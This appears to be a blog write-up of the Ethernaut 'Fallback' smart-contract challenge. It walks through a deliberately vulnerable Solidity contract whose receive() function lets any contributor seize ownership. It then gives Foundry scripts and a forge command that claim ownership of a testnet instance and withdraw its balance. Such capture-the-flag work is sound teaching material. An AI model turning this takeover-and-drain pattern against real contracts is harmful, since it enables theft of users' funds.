Ethernaut Series - 01

hexbytehexbyte
3 min read

The challenge asks us to claim the ownership of the contract and reduce its balance to 0. In this case, we have been provided with the contract itself.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

The contract presents 3 major functions, namely:

  1. contribute() : The function is labeled as payable and public which basically means that it can receive ether. As the name suggests, it is used to send or contribute, funds to the contract while logging the msg.sender and their corresponding contributions.

    It also checks if the contributions made by a msg.sender a.k.a user, is more than the that of the owner and if so, then this msg.sender is assigned to the owner variable i.e. making him the owner.

  2. withdraw(): As the name suggests, this function will allow us to withdraw our balance from the contract. However, it has an onlyOwner modifier which means that only the owner address is allowed to withdraw from this contract.

  3. receive(): The function is capable of receiving ether, and is used when the msg body of a transaction is empty i.e. when only ether transfer is made (no calldata, such as send, transfer, and call functions).
    It has 2 conditions to allow its execution:

    1. The msg.value should be greater than 0.

    2. The contribution by the msg.sender should be greater than 0, i.e. the user should have contributed some amount to the contract.


Solution

The receive() function simply assigns the msg.sender as the owner if any contribution is made - which is a vulnerability.

  1. First we need to send some ether using the contribute() function so that the latter condition inside the receive() function is satisfied.

  2. We need to send a value > 0 in our call to the receive() function.


Proof-Of-Concept

We’ll use foundry to write our test script. My first script looks like this:

//SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "../lib/forge-std/src/Test.sol";
import "../original-contracts/level1.sol";

contract POC is Test{
    Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);

    function test() external {
        vm.startBroadcast();
        level1.contribute{value: 1 wei}();
        level1.getContribution();
        address(level1).transfer(1 wei);
        level1.owner();
        vm.stopBroadcast();
    }

}

Executing the above script gives us the following error:

As can be seen, the transaction ran out of gas. This happened because transfer or send function only send 2300 gas whereas call() sends all the gas provided to it. Note that when you want to just send Ether to another contract via a fallback function, call() is the recommended approach.

Now we can broadcast this transaction to the Sepolia network using the following script and command:

//SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

import "../lib/forge-std/src/Script.sol";
import "../original-contracts/level1.sol";

contract POC is Script{
    Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);

    function run() external {
        vm.startBroadcast();
        level1.contribute{value: 1 wei}();
        level1.getContribution();
        address(level1).call{value: 1 wei}("");
        level1.owner();
        level1.withdraw();
        vm.stopBroadcast();
    }

}

Command:

forge script ./script/level1.sol --private-key $PKEY--broadcast -vvvv --rpc-url $RPC_URL

All calls were successful, and we became the owner of the contract. Now we can submit the instance to complete the level.

All of these scripts and tests can be found on my github repo as well.

0
Subscribe to my newsletter

Read articles from hexbyte directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

hexbyte
hexbyte